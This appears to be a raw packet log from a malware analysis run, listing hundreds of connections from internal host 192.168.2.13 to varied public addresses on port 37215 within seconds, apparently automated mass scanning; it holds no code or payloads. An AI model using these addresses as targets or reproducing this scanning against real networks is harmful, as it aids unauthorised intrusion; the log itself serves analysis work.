Jan 1, 2024 12:51:47.993832111 CET	37751	37215	192.168.2.13	197.125.67.206
Jan 1, 2024 12:51:47.993834019 CET	37751	37215	192.168.2.13	156.134.69.127
Jan 1, 2024 12:51:47.993841887 CET	37751	37215	192.168.2.13	157.126.51.23
Jan 1, 2024 12:51:47.993841887 CET	37751	37215	192.168.2.13	197.35.153.215
Jan 1, 2024 12:51:47.993845940 CET	37751	37215	192.168.2.13	197.2.242.81
Jan 1, 2024 12:51:47.993855000 CET	37751	37215	192.168.2.13	41.93.45.28
Jan 1, 2024 12:51:47.993855953 CET	37751	37215	192.168.2.13	197.47.214.45
Jan 1, 2024 12:51:47.993865013 CET	37751	37215	192.168.2.13	156.42.97.72
Jan 1, 2024 12:51:47.993865967 CET	37751	37215	192.168.2.13	197.201.146.65
Jan 1, 2024 12:51:47.993868113 CET	37751	37215	192.168.2.13	41.211.235.183
Jan 1, 2024 12:51:47.993872881 CET	37751	37215	192.168.2.13	197.113.24.185
Jan 1, 2024 12:51:47.993875027 CET	37751	37215	192.168.2.13	120.146.184.70
Jan 1, 2024 12:51:47.993885994 CET	37751	37215	192.168.2.13	197.59.55.79
Jan 1, 2024 12:51:47.993887901 CET	37751	37215	192.168.2.13	122.246.12.250
Jan 1, 2024 12:51:47.993887901 CET	37751	37215	192.168.2.13	197.24.54.77
Jan 1, 2024 12:51:47.993895054 CET	37751	37215	192.168.2.13	41.103.67.15
Jan 1, 2024 12:51:47.993906975 CET	37751	37215	192.168.2.13	196.115.5.81
Jan 1, 2024 12:51:48.119091988 CET	37215	37751	107.90.49.157	192.168.2.13
Jan 1, 2024 12:51:48.155625105 CET	37215	37751	156.235.98.234	192.168.2.13
Jan 1, 2024 12:51:48.155692101 CET	37751	37215	192.168.2.13	156.235.98.234
Jan 1, 2024 12:51:48.162919044 CET	37215	37751	156.73.76.220	192.168.2.13
Jan 1, 2024 12:51:48.162962914 CET	37751	37215	192.168.2.13	156.73.76.220
Jan 1, 2024 12:51:48.241239071 CET	37215	37751	45.71.108.224	192.168.2.13
Jan 1, 2024 12:51:48.242669106 CET	37215	37751	45.131.47.228	192.168.2.13
Jan 1, 2024 12:51:48.259063959 CET	37215	37751	160.114.57.21	192.168.2.13
Jan 1, 2024 12:51:48.259125948 CET	37751	37215	192.168.2.13	160.114.57.21
Jan 1, 2024 12:51:48.275964975 CET	37215	37751	121.124.142.39	192.168.2.13
Jan 1, 2024 12:51:48.282862902 CET	37215	37751	190.210.161.38	192.168.2.13
Jan 1, 2024 12:51:48.287127018 CET	37215	37751	156.242.34.7	192.168.2.13
Jan 1, 2024 12:51:48.295892954 CET	37215	37751	121.186.161.119	192.168.2.13
Jan 1, 2024 12:51:48.301950932 CET	37215	37751	37.107.1.89	192.168.2.13
Jan 1, 2024 12:51:48.302392960 CET	37215	37751	156.250.30.124	192.168.2.13
Jan 1, 2024 12:51:48.310800076 CET	37215	37751	197.129.12.167	192.168.2.13
Jan 1, 2024 12:51:48.335546970 CET	37215	37751	197.4.100.99	192.168.2.13
Jan 1, 2024 12:51:48.366868019 CET	37215	37751	41.84.226.98	192.168.2.13
Jan 1, 2024 12:51:48.400572062 CET	37215	37751	197.100.125.130	192.168.2.13
Jan 1, 2024 12:51:48.407948017 CET	37215	37751	41.181.173.112	192.168.2.13
Jan 1, 2024 12:51:48.436211109 CET	37215	37751	197.6.9.37	192.168.2.13
Jan 1, 2024 12:51:48.995070934 CET	37751	37215	192.168.2.13	156.17.228.253
Jan 1, 2024 12:51:48.995074987 CET	37751	37215	192.168.2.13	45.206.14.127
Jan 1, 2024 12:51:48.995074987 CET	37751	37215	192.168.2.13	41.164.153.97
Jan 1, 2024 12:51:48.995079041 CET	37751	37215	192.168.2.13	45.94.89.9
Jan 1, 2024 12:51:48.995080948 CET	37751	37215	192.168.2.13	154.233.11.249
Jan 1, 2024 12:51:48.995090008 CET	37751	37215	192.168.2.13	190.93.119.98
Jan 1, 2024 12:51:48.995100975 CET	37751	37215	192.168.2.13	222.158.31.201
Jan 1, 2024 12:51:48.995101929 CET	37751	37215	192.168.2.13	41.236.210.153
Jan 1, 2024 12:51:48.995101929 CET	37751	37215	192.168.2.13	190.117.56.26
Jan 1, 2024 12:51:48.995107889 CET	37751	37215	192.168.2.13	156.34.169.133
Jan 1, 2024 12:51:48.995110989 CET	37751	37215	192.168.2.13	41.234.18.179
Jan 1, 2024 12:51:48.995119095 CET	37751	37215	192.168.2.13	41.27.180.142
Jan 1, 2024 12:51:48.995120049 CET	37751	37215	192.168.2.13	156.177.33.21
Jan 1, 2024 12:51:48.995121956 CET	37751	37215	192.168.2.13	156.7.0.160
Jan 1, 2024 12:51:48.995134115 CET	37751	37215	192.168.2.13	41.115.215.9
Jan 1, 2024 12:51:48.995136023 CET	37751	37215	192.168.2.13	156.113.58.233
Jan 1, 2024 12:51:48.995138884 CET	37751	37215	192.168.2.13	156.217.47.88
Jan 1, 2024 12:51:48.995138884 CET	37751	37215	192.168.2.13	37.15.26.165
Jan 1, 2024 12:51:48.995151997 CET	37751	37215	192.168.2.13	181.95.252.107
Jan 1, 2024 12:51:48.995152950 CET	37751	37215	192.168.2.13	160.192.41.212
Jan 1, 2024 12:51:48.995166063 CET	37751	37215	192.168.2.13	41.221.70.190
Jan 1, 2024 12:51:48.995168924 CET	37751	37215	192.168.2.13	156.80.234.217
Jan 1, 2024 12:51:48.995168924 CET	37751	37215	192.168.2.13	190.51.206.74
Jan 1, 2024 12:51:48.995172977 CET	37751	37215	192.168.2.13	196.34.110.122
Jan 1, 2024 12:51:48.995194912 CET	37751	37215	192.168.2.13	37.68.64.31
Jan 1, 2024 12:51:48.995197058 CET	37751	37215	192.168.2.13	181.227.204.130
Jan 1, 2024 12:51:48.995198011 CET	37751	37215	192.168.2.13	41.158.56.3
Jan 1, 2024 12:51:48.995198011 CET	37751	37215	192.168.2.13	156.185.182.158
Jan 1, 2024 12:51:48.995202065 CET	37751	37215	192.168.2.13	156.110.120.13
Jan 1, 2024 12:51:48.995202065 CET	37751	37215	192.168.2.13	41.78.124.43
Jan 1, 2024 12:51:48.995202065 CET	37751	37215	192.168.2.13	41.178.49.7
Jan 1, 2024 12:51:48.995202065 CET	37751	37215	192.168.2.13	102.235.90.232
Jan 1, 2024 12:51:48.995208979 CET	37751	37215	192.168.2.13	156.70.102.59
Jan 1, 2024 12:51:48.995208979 CET	37751	37215	192.168.2.13	121.44.126.151
Jan 1, 2024 12:51:48.995210886 CET	37751	37215	192.168.2.13	121.134.53.201
Jan 1, 2024 12:51:48.995210886 CET	37751	37215	192.168.2.13	121.58.254.155
Jan 1, 2024 12:51:48.995219946 CET	37751	37215	192.168.2.13	156.198.64.206
Jan 1, 2024 12:51:48.995219946 CET	37751	37215	192.168.2.13	41.197.116.11
Jan 1, 2024 12:51:48.995223999 CET	37751	37215	192.168.2.13	197.10.194.171
Jan 1, 2024 12:51:48.995224953 CET	37751	37215	192.168.2.13	122.164.24.112
Jan 1, 2024 12:51:48.995227098 CET	37751	37215	192.168.2.13	156.42.150.252
Jan 1, 2024 12:51:48.995227098 CET	37751	37215	192.168.2.13	102.13.93.220
Jan 1, 2024 12:51:48.995230913 CET	37751	37215	192.168.2.13	197.82.76.94
Jan 1, 2024 12:51:48.995230913 CET	37751	37215	192.168.2.13	156.132.101.144
Jan 1, 2024 12:51:48.995234966 CET	37751	37215	192.168.2.13	156.155.225.10
Jan 1, 2024 12:51:48.995239973 CET	37751	37215	192.168.2.13	197.204.1.102
Jan 1, 2024 12:51:48.995240927 CET	37751	37215	192.168.2.13	157.9.121.129
Jan 1, 2024 12:51:48.995240927 CET	37751	37215	192.168.2.13	95.28.168.211
Jan 1, 2024 12:51:48.995242119 CET	37751	37215	192.168.2.13	156.234.192.66
Jan 1, 2024 12:51:48.995242119 CET	37751	37215	192.168.2.13	41.237.238.27
Jan 1, 2024 12:51:48.995242119 CET	37751	37215	192.168.2.13	41.209.107.120
Jan 1, 2024 12:51:48.995243073 CET	37751	37215	192.168.2.13	94.187.140.58
Jan 1, 2024 12:51:48.995242119 CET	37751	37215	192.168.2.13	157.82.180.195
Jan 1, 2024 12:51:48.995251894 CET	37751	37215	192.168.2.13	41.118.147.78
Jan 1, 2024 12:51:48.995255947 CET	37751	37215	192.168.2.13	41.183.186.178
Jan 1, 2024 12:51:48.995256901 CET	37751	37215	192.168.2.13	41.88.1.134
Jan 1, 2024 12:51:48.995256901 CET	37751	37215	192.168.2.13	156.130.222.211
Jan 1, 2024 12:51:48.995256901 CET	37751	37215	192.168.2.13	41.123.201.49
Jan 1, 2024 12:51:48.995256901 CET	37751	37215	192.168.2.13	122.36.167.149
Jan 1, 2024 12:51:48.995256901 CET	37751	37215	192.168.2.13	186.53.110.72
Jan 1, 2024 12:51:48.995256901 CET	37751	37215	192.168.2.13	107.140.138.173
Jan 1, 2024 12:51:48.995261908 CET	37751	37215	192.168.2.13	156.107.214.54
Jan 1, 2024 12:51:48.995263100 CET	37751	37215	192.168.2.13	41.83.54.143
Jan 1, 2024 12:51:48.995265007 CET	37751	37215	192.168.2.13	95.193.79.219
Jan 1, 2024 12:51:48.995270967 CET	37751	37215	192.168.2.13	41.186.138.51
Jan 1, 2024 12:51:48.995271921 CET	37751	37215	192.168.2.13	197.179.148.118
Jan 1, 2024 12:51:48.995271921 CET	37751	37215	192.168.2.13	41.20.60.25
Jan 1, 2024 12:51:48.995276928 CET	37751	37215	192.168.2.13	156.164.33.50
Jan 1, 2024 12:51:48.995277882 CET	37751	37215	192.168.2.13	156.95.202.37
Jan 1, 2024 12:51:48.995276928 CET	37751	37215	192.168.2.13	156.144.159.145
Jan 1, 2024 12:51:48.995277882 CET	37751	37215	192.168.2.13	157.122.48.206
Jan 1, 2024 12:51:48.995290041 CET	37751	37215	192.168.2.13	197.252.99.16
Jan 1, 2024 12:51:48.995290995 CET	37751	37215	192.168.2.13	37.25.101.31
Jan 1, 2024 12:51:48.995299101 CET	37751	37215	192.168.2.13	41.250.17.146
Jan 1, 2024 12:51:48.995300055 CET	37751	37215	192.168.2.13	156.31.65.25
Jan 1, 2024 12:51:48.995300055 CET	37751	37215	192.168.2.13	157.99.130.208
Jan 1, 2024 12:51:48.995342016 CET	37751	37215	192.168.2.13	157.44.74.252
Jan 1, 2024 12:51:48.995342016 CET	37751	37215	192.168.2.13	156.131.96.120
Jan 1, 2024 12:51:48.995342016 CET	37751	37215	192.168.2.13	156.61.3.92
Jan 1, 2024 12:51:48.995342970 CET	37751	37215	192.168.2.13	197.41.170.102
Jan 1, 2024 12:51:48.995342016 CET	37751	37215	192.168.2.13	107.134.39.148
Jan 1, 2024 12:51:48.995342970 CET	37751	37215	192.168.2.13	41.176.214.175
Jan 1, 2024 12:51:48.995342016 CET	37751	37215	192.168.2.13	156.234.125.144
Jan 1, 2024 12:51:48.995342970 CET	37751	37215	192.168.2.13	41.198.239.184
Jan 1, 2024 12:51:48.995342970 CET	37751	37215	192.168.2.13	156.226.20.92
Jan 1, 2024 12:51:48.995342016 CET	37751	37215	192.168.2.13	41.187.152.52
Jan 1, 2024 12:51:48.995347023 CET	37751	37215	192.168.2.13	197.194.3.31
Jan 1, 2024 12:51:48.995347977 CET	37751	37215	192.168.2.13	156.173.208.114
Jan 1, 2024 12:51:48.995342016 CET	37751	37215	192.168.2.13	197.237.144.221
Jan 1, 2024 12:51:48.995347977 CET	37751	37215	192.168.2.13	197.201.140.225
Jan 1, 2024 12:51:48.995357037 CET	37751	37215	192.168.2.13	197.34.36.227
Jan 1, 2024 12:51:48.995357037 CET	37751	37215	192.168.2.13	197.124.100.109
Jan 1, 2024 12:51:48.995369911 CET	37751	37215	192.168.2.13	197.200.120.245
Jan 1, 2024 12:51:48.995369911 CET	37751	37215	192.168.2.13	197.35.155.21
Jan 1, 2024 12:51:48.995373964 CET	37751	37215	192.168.2.13	197.94.137.199
Jan 1, 2024 12:51:48.995373964 CET	37751	37215	192.168.2.13	197.211.122.214
Jan 1, 2024 12:51:48.995374918 CET	37751	37215	192.168.2.13	41.2.207.6
Jan 1, 2024 12:51:48.995376110 CET	37751	37215	192.168.2.13	41.165.130.148
Jan 1, 2024 12:51:48.995376110 CET	37751	37215	192.168.2.13	197.181.121.91
Jan 1, 2024 12:51:48.995376110 CET	37751	37215	192.168.2.13	107.154.190.135
Jan 1, 2024 12:51:48.995376110 CET	37751	37215	192.168.2.13	41.122.32.64
Jan 1, 2024 12:51:48.995376110 CET	37751	37215	192.168.2.13	190.42.1.235
Jan 1, 2024 12:51:48.995377064 CET	37751	37215	192.168.2.13	197.44.205.135
Jan 1, 2024 12:51:48.995376110 CET	37751	37215	192.168.2.13	41.98.254.68
Jan 1, 2024 12:51:48.995377064 CET	37751	37215	192.168.2.13	41.216.159.110
Jan 1, 2024 12:51:48.995378971 CET	37751	37215	192.168.2.13	45.149.127.247
Jan 1, 2024 12:51:48.995378017 CET	37751	37215	192.168.2.13	92.149.226.224
Jan 1, 2024 12:51:48.995379925 CET	37751	37215	192.168.2.13	156.181.159.107
Jan 1, 2024 12:51:48.995378971 CET	37751	37215	192.168.2.13	197.143.35.240
Jan 1, 2024 12:51:48.995379925 CET	37751	37215	192.168.2.13	121.21.232.37
Jan 1, 2024 12:51:48.995384932 CET	37751	37215	192.168.2.13	37.33.94.40
Jan 1, 2024 12:51:48.995384932 CET	37751	37215	192.168.2.13	186.154.220.134
Jan 1, 2024 12:51:48.995384932 CET	37751	37215	192.168.2.13	197.207.246.14
Jan 1, 2024 12:51:48.995379925 CET	37751	37215	192.168.2.13	41.75.186.42
Jan 1, 2024 12:51:48.995384932 CET	37751	37215	192.168.2.13	92.82.202.223
Jan 1, 2024 12:51:48.995384932 CET	37751	37215	192.168.2.13	197.253.10.0
Jan 1, 2024 12:51:48.995389938 CET	37751	37215	192.168.2.13	186.4.109.125
Jan 1, 2024 12:51:48.995389938 CET	37751	37215	192.168.2.13	197.143.4.48
Jan 1, 2024 12:51:48.995389938 CET	37751	37215	192.168.2.13	222.36.33.114
Jan 1, 2024 12:51:48.995394945 CET	37751	37215	192.168.2.13	197.90.166.193
Jan 1, 2024 12:51:48.995400906 CET	37751	37215	192.168.2.13	156.2.181.180
Jan 1, 2024 12:51:48.995409966 CET	37751	37215	192.168.2.13	197.83.90.242
Jan 1, 2024 12:51:48.995413065 CET	37751	37215	192.168.2.13	160.219.246.210
Jan 1, 2024 12:51:48.995413065 CET	37751	37215	192.168.2.13	197.129.53.190
Jan 1, 2024 12:51:48.995418072 CET	37751	37215	192.168.2.13	95.197.131.6
Jan 1, 2024 12:51:48.995419025 CET	37751	37215	192.168.2.13	138.150.22.248
Jan 1, 2024 12:51:48.995434999 CET	37751	37215	192.168.2.13	107.151.241.74
Jan 1, 2024 12:51:48.995434999 CET	37751	37215	192.168.2.13	160.66.52.29
Jan 1, 2024 12:51:48.995434999 CET	37751	37215	192.168.2.13	122.18.97.187
Jan 1, 2024 12:51:48.995434999 CET	37751	37215	192.168.2.13	37.179.200.235
Jan 1, 2024 12:51:48.995435953 CET	37751	37215	192.168.2.13	156.140.61.64
Jan 1, 2024 12:51:48.995440006 CET	37751	37215	192.168.2.13	157.250.223.20
Jan 1, 2024 12:51:48.995440006 CET	37751	37215	192.168.2.13	157.121.215.108
Jan 1, 2024 12:51:48.995441914 CET	37751	37215	192.168.2.13	156.222.0.188
Jan 1, 2024 12:51:48.995441914 CET	37751	37215	192.168.2.13	156.182.144.176
Jan 1, 2024 12:51:48.995443106 CET	37751	37215	192.168.2.13	122.232.78.254
Jan 1, 2024 12:51:48.995449066 CET	37751	37215	192.168.2.13	222.74.198.77
Jan 1, 2024 12:51:48.995450974 CET	37751	37215	192.168.2.13	41.125.161.23
Jan 1, 2024 12:51:48.995450974 CET	37751	37215	192.168.2.13	181.160.134.126
Jan 1, 2024 12:51:48.995451927 CET	37751	37215	192.168.2.13	190.22.181.233
Jan 1, 2024 12:51:48.995451927 CET	37751	37215	192.168.2.13	222.130.167.129
Jan 1, 2024 12:51:48.995451927 CET	37751	37215	192.168.2.13	41.205.92.30
Jan 1, 2024 12:51:48.995455027 CET	37751	37215	192.168.2.13	197.65.70.248
Jan 1, 2024 12:51:48.995455027 CET	37751	37215	192.168.2.13	197.202.147.35
Jan 1, 2024 12:51:48.995460033 CET	37751	37215	192.168.2.13	197.119.231.78
Jan 1, 2024 12:51:48.995460033 CET	37751	37215	192.168.2.13	41.236.192.141
Jan 1, 2024 12:51:48.995464087 CET	37751	37215	192.168.2.13	196.212.135.88
Jan 1, 2024 12:51:48.995484114 CET	37751	37215	192.168.2.13	156.151.42.73
Jan 1, 2024 12:51:48.995484114 CET	37751	37215	192.168.2.13	197.223.190.182
Jan 1, 2024 12:51:48.995485067 CET	37751	37215	192.168.2.13	41.14.241.96
Jan 1, 2024 12:51:48.995485067 CET	37751	37215	192.168.2.13	197.189.215.51
Jan 1, 2024 12:51:48.995485067 CET	37751	37215	192.168.2.13	197.44.246.228
Jan 1, 2024 12:51:48.995485067 CET	37751	37215	192.168.2.13	121.107.174.234
Jan 1, 2024 12:51:48.995485067 CET	37751	37215	192.168.2.13	41.247.145.172
Jan 1, 2024 12:51:48.995485067 CET	37751	37215	192.168.2.13	41.72.231.37
Jan 1, 2024 12:51:48.995496988 CET	37751	37215	192.168.2.13	95.18.188.134
Jan 1, 2024 12:51:48.995498896 CET	37751	37215	192.168.2.13	197.19.193.129
Jan 1, 2024 12:51:48.995507002 CET	37751	37215	192.168.2.13	197.28.99.160
Jan 1, 2024 12:51:48.995513916 CET	37751	37215	192.168.2.13	156.36.3.38
Jan 1, 2024 12:51:48.995513916 CET	37751	37215	192.168.2.13	92.39.149.214
Jan 1, 2024 12:51:48.995513916 CET	37751	37215	192.168.2.13	45.148.143.88
Jan 1, 2024 12:51:48.995513916 CET	37751	37215	192.168.2.13	156.211.139.158
Jan 1, 2024 12:51:48.995526075 CET	37751	37215	192.168.2.13	181.172.14.123
Jan 1, 2024 12:51:48.995528936 CET	37751	37215	192.168.2.13	95.55.29.203
Jan 1, 2024 12:51:48.995539904 CET	37751	37215	192.168.2.13	107.58.47.253
Jan 1, 2024 12:51:48.995541096 CET	37751	37215	192.168.2.13	196.54.32.152
Jan 1, 2024 12:51:48.995539904 CET	37751	37215	192.168.2.13	37.201.239.40
Jan 1, 2024 12:51:48.995552063 CET	37751	37215	192.168.2.13	41.6.63.33
Jan 1, 2024 12:51:48.995554924 CET	37751	37215	192.168.2.13	156.39.113.111
Jan 1, 2024 12:51:48.995558023 CET	37751	37215	192.168.2.13	157.220.79.12
Jan 1, 2024 12:51:48.995564938 CET	37751	37215	192.168.2.13	156.137.37.83
Jan 1, 2024 12:51:48.995568991 CET	37751	37215	192.168.2.13	156.10.6.44
Jan 1, 2024 12:51:48.995572090 CET	37751	37215	192.168.2.13	41.98.122.227
Jan 1, 2024 12:51:48.995580912 CET	37751	37215	192.168.2.13	41.77.242.243
Jan 1, 2024 12:51:48.995585918 CET	37751	37215	192.168.2.13	197.28.103.79
Jan 1, 2024 12:51:48.995588064 CET	37751	37215	192.168.2.13	186.214.87.138
Jan 1, 2024 12:51:48.995601892 CET	37751	37215	192.168.2.13	197.64.13.44
Jan 1, 2024 12:51:48.995601892 CET	37751	37215	192.168.2.13	41.192.57.234
Jan 1, 2024 12:51:48.995610952 CET	37751	37215	192.168.2.13	92.204.80.47
Jan 1, 2024 12:51:48.995615959 CET	37751	37215	192.168.2.13	197.81.104.130
Jan 1, 2024 12:51:48.995623112 CET	37751	37215	192.168.2.13	41.44.84.47
Jan 1, 2024 12:51:48.995624065 CET	37751	37215	192.168.2.13	156.164.121.164
Jan 1, 2024 12:51:48.995625973 CET	37751	37215	192.168.2.13	41.230.63.186
Jan 1, 2024 12:51:48.995625973 CET	37751	37215	192.168.2.13	41.125.61.210
Jan 1, 2024 12:51:48.995625973 CET	37751	37215	192.168.2.13	121.233.27.119
Jan 1, 2024 12:51:48.995628119 CET	37751	37215	192.168.2.13	37.42.67.96
Jan 1, 2024 12:51:48.995630026 CET	37751	37215	192.168.2.13	197.25.171.33
Jan 1, 2024 12:51:48.995632887 CET	37751	37215	192.168.2.13	156.115.255.31
Jan 1, 2024 12:51:48.995632887 CET	37751	37215	192.168.2.13	156.89.52.77
Jan 1, 2024 12:51:48.995637894 CET	37751	37215	192.168.2.13	197.110.162.5
Jan 1, 2024 12:51:48.995640993 CET	37751	37215	192.168.2.13	121.136.221.119
Jan 1, 2024 12:51:48.995640993 CET	37751	37215	192.168.2.13	41.216.118.133
Jan 1, 2024 12:51:48.995641947 CET	37751	37215	192.168.2.13	156.111.86.90
Jan 1, 2024 12:51:48.995645046 CET	37751	37215	192.168.2.13	41.230.32.220
Jan 1, 2024 12:51:48.995646000 CET	37751	37215	192.168.2.13	41.34.1.100
Jan 1, 2024 12:51:48.995646000 CET	37751	37215	192.168.2.13	156.42.227.24
Jan 1, 2024 12:51:48.995656967 CET	37751	37215	192.168.2.13	197.37.145.230
Jan 1, 2024 12:51:48.995656967 CET	37751	37215	192.168.2.13	190.165.90.62
Jan 1, 2024 12:51:48.995659113 CET	37751	37215	192.168.2.13	197.193.28.108
Jan 1, 2024 12:51:48.995662928 CET	37751	37215	192.168.2.13	197.208.241.67
Jan 1, 2024 12:51:48.995666981 CET	37751	37215	192.168.2.13	120.165.117.158
Jan 1, 2024 12:51:48.995668888 CET	37751	37215	192.168.2.13	222.132.126.29
Jan 1, 2024 12:51:48.995677948 CET	37751	37215	192.168.2.13	92.250.165.30
Jan 1, 2024 12:51:48.995682001 CET	37751	37215	192.168.2.13	92.50.207.241
Jan 1, 2024 12:51:48.995682001 CET	37751	37215	192.168.2.13	197.51.49.59
Jan 1, 2024 12:51:48.995692968 CET	37751	37215	192.168.2.13	41.200.69.207
Jan 1, 2024 12:51:48.995695114 CET	37751	37215	192.168.2.13	41.123.77.39
Jan 1, 2024 12:51:48.995695114 CET	37751	37215	192.168.2.13	138.43.38.184
Jan 1, 2024 12:51:48.995702982 CET	37751	37215	192.168.2.13	196.211.167.247
Jan 1, 2024 12:51:48.995703936 CET	37751	37215	192.168.2.13	196.154.239.211
Jan 1, 2024 12:51:48.995712042 CET	37751	37215	192.168.2.13	94.8.247.151
Jan 1, 2024 12:51:48.995721102 CET	37751	37215	192.168.2.13	197.172.166.135
Jan 1, 2024 12:51:48.995722055 CET	37751	37215	192.168.2.13	41.135.66.7
Jan 1, 2024 12:51:48.995723009 CET	37751	37215	192.168.2.13	107.151.234.154
Jan 1, 2024 12:51:48.995731115 CET	37751	37215	192.168.2.13	107.163.146.117
Jan 1, 2024 12:51:48.995732069 CET	37751	37215	192.168.2.13	156.66.146.26
Jan 1, 2024 12:51:48.995744944 CET	37751	37215	192.168.2.13	197.90.199.216
Jan 1, 2024 12:51:48.995744944 CET	37751	37215	192.168.2.13	197.206.34.90
Jan 1, 2024 12:51:48.995744944 CET	37751	37215	192.168.2.13	197.98.83.206
Jan 1, 2024 12:51:48.995759964 CET	37751	37215	192.168.2.13	41.176.11.170
Jan 1, 2024 12:51:48.995764971 CET	37751	37215	192.168.2.13	197.173.3.245
Jan 1, 2024 12:51:48.995764971 CET	37751	37215	192.168.2.13	197.176.214.109
Jan 1, 2024 12:51:48.995767117 CET	37751	37215	192.168.2.13	197.131.160.198
Jan 1, 2024 12:51:48.995779991 CET	37751	37215	192.168.2.13	197.218.152.42
Jan 1, 2024 12:51:48.995779991 CET	37751	37215	192.168.2.13	92.147.187.243
Jan 1, 2024 12:51:48.995789051 CET	37751	37215	192.168.2.13	156.47.11.30
Jan 1, 2024 12:51:48.995789051 CET	37751	37215	192.168.2.13	181.2.127.207
Jan 1, 2024 12:51:48.995793104 CET	37751	37215	192.168.2.13	196.179.119.135
Jan 1, 2024 12:51:48.995799065 CET	37751	37215	192.168.2.13	41.155.54.238
Jan 1, 2024 12:51:48.995803118 CET	37751	37215	192.168.2.13	41.194.34.174
Jan 1, 2024 12:51:48.995804071 CET	37751	37215	192.168.2.13	37.17.253.26
Jan 1, 2024 12:51:48.995806932 CET	37751	37215	192.168.2.13	197.41.88.130
Jan 1, 2024 12:51:48.995816946 CET	37751	37215	192.168.2.13	197.69.159.186
Jan 1, 2024 12:51:48.995817900 CET	37751	37215	192.168.2.13	197.215.38.30
Jan 1, 2024 12:51:48.995820999 CET	37751	37215	192.168.2.13	95.27.61.6
Jan 1, 2024 12:51:48.995843887 CET	37751	37215	192.168.2.13	197.201.228.112
Jan 1, 2024 12:51:48.995843887 CET	37751	37215	192.168.2.13	156.28.134.37
Jan 1, 2024 12:51:48.995846033 CET	37751	37215	192.168.2.13	41.169.206.63
Jan 1, 2024 12:51:48.995846033 CET	37751	37215	192.168.2.13	197.246.228.124
Jan 1, 2024 12:51:48.995846033 CET	37751	37215	192.168.2.13	95.23.224.56
Jan 1, 2024 12:51:48.995846033 CET	37751	37215	192.168.2.13	156.213.191.110
Jan 1, 2024 12:51:48.995846987 CET	37751	37215	192.168.2.13	156.125.122.120
Jan 1, 2024 12:51:48.995846987 CET	37751	37215	192.168.2.13	41.241.67.217
Jan 1, 2024 12:51:48.995846987 CET	37751	37215	192.168.2.13	156.206.243.184
Jan 1, 2024 12:51:48.995846033 CET	37751	37215	192.168.2.13	190.202.8.29
Jan 1, 2024 12:51:48.995851040 CET	37751	37215	192.168.2.13	197.233.163.105
Jan 1, 2024 12:51:48.995856047 CET	37751	37215	192.168.2.13	197.54.77.29
Jan 1, 2024 12:51:48.995856047 CET	37751	37215	192.168.2.13	197.147.126.95
Jan 1, 2024 12:51:48.995856047 CET	37751	37215	192.168.2.13	156.81.200.214
Jan 1, 2024 12:51:48.995867968 CET	37751	37215	192.168.2.13	156.70.53.112
Jan 1, 2024 12:51:48.995874882 CET	37751	37215	192.168.2.13	92.74.228.225
Jan 1, 2024 12:51:48.995886087 CET	37751	37215	192.168.2.13	156.32.108.168
Jan 1, 2024 12:51:48.995887995 CET	37751	37215	192.168.2.13	156.99.208.153
Jan 1, 2024 12:51:48.995888948 CET	37751	37215	192.168.2.13	197.41.130.162
Jan 1, 2024 12:51:48.995888948 CET	37751	37215	192.168.2.13	156.182.47.217
Jan 1, 2024 12:51:48.995888948 CET	37751	37215	192.168.2.13	45.27.177.107
Jan 1, 2024 12:51:48.995888948 CET	37751	37215	192.168.2.13	94.89.45.121
Jan 1, 2024 12:51:48.995888948 CET	37751	37215	192.168.2.13	138.114.52.29
Jan 1, 2024 12:51:48.995888948 CET	37751	37215	192.168.2.13	156.104.4.40
Jan 1, 2024 12:51:48.995891094 CET	37751	37215	192.168.2.13	197.198.227.46
Jan 1, 2024 12:51:48.995894909 CET	37751	37215	192.168.2.13	222.225.100.16
Jan 1, 2024 12:51:48.995898962 CET	37751	37215	192.168.2.13	197.150.93.127
Jan 1, 2024 12:51:48.995899916 CET	37751	37215	192.168.2.13	197.248.58.152
Jan 1, 2024 12:51:48.995898962 CET	37751	37215	192.168.2.13	41.13.36.158
Jan 1, 2024 12:51:48.995898962 CET	37751	37215	192.168.2.13	156.32.242.108
Jan 1, 2024 12:51:48.995903015 CET	37751	37215	192.168.2.13	197.247.8.133
Jan 1, 2024 12:51:48.995907068 CET	37751	37215	192.168.2.13	197.186.152.80
Jan 1, 2024 12:51:48.995910883 CET	37751	37215	192.168.2.13	94.123.234.216
Jan 1, 2024 12:51:48.995913029 CET	37751	37215	192.168.2.13	156.23.32.27
Jan 1, 2024 12:51:48.995913029 CET	37751	37215	192.168.2.13	190.110.71.116
Jan 1, 2024 12:51:48.995913982 CET	37751	37215	192.168.2.13	41.190.165.223
Jan 1, 2024 12:51:48.995927095 CET	37751	37215	192.168.2.13	197.117.106.154
Jan 1, 2024 12:51:48.995927095 CET	37751	37215	192.168.2.13	156.252.75.184
Jan 1, 2024 12:51:48.995938063 CET	37751	37215	192.168.2.13	102.11.194.129
Jan 1, 2024 12:51:48.995939970 CET	37751	37215	192.168.2.13	197.165.116.14
Jan 1, 2024 12:51:48.995960951 CET	37751	37215	192.168.2.13	95.123.72.76
Jan 1, 2024 12:51:48.995961905 CET	37751	37215	192.168.2.13	160.186.248.52
Jan 1, 2024 12:51:48.995965004 CET	37751	37215	192.168.2.13	160.171.242.232
Jan 1, 2024 12:51:48.995965004 CET	37751	37215	192.168.2.13	156.153.176.193
Jan 1, 2024 12:51:48.995965004 CET	37751	37215	192.168.2.13	190.157.113.151
Jan 1, 2024 12:51:48.995975971 CET	37751	37215	192.168.2.13	37.218.11.175
Jan 1, 2024 12:51:48.995975971 CET	37751	37215	192.168.2.13	197.20.189.143
Jan 1, 2024 12:51:48.995975971 CET	37751	37215	192.168.2.13	156.156.10.76
Jan 1, 2024 12:51:48.995976925 CET	37751	37215	192.168.2.13	41.104.3.142
Jan 1, 2024 12:51:48.995976925 CET	37751	37215	192.168.2.13	41.88.200.175
Jan 1, 2024 12:51:48.995976925 CET	37751	37215	192.168.2.13	102.194.206.80
Jan 1, 2024 12:51:48.995976925 CET	37751	37215	192.168.2.13	41.251.174.58
Jan 1, 2024 12:51:48.995984077 CET	37751	37215	192.168.2.13	41.83.241.214
Jan 1, 2024 12:51:48.995987892 CET	37751	37215	192.168.2.13	107.31.66.54
Jan 1, 2024 12:51:48.995987892 CET	37751	37215	192.168.2.13	197.218.16.225
Jan 1, 2024 12:51:48.995987892 CET	37751	37215	192.168.2.13	41.125.195.176
Jan 1, 2024 12:51:48.995987892 CET	37751	37215	192.168.2.13	156.131.102.106
Jan 1, 2024 12:51:48.995990038 CET	37751	37215	192.168.2.13	197.214.123.4
Jan 1, 2024 12:51:48.995990992 CET	37751	37215	192.168.2.13	41.101.169.26
Jan 1, 2024 12:51:48.995990992 CET	37751	37215	192.168.2.13	41.43.219.24
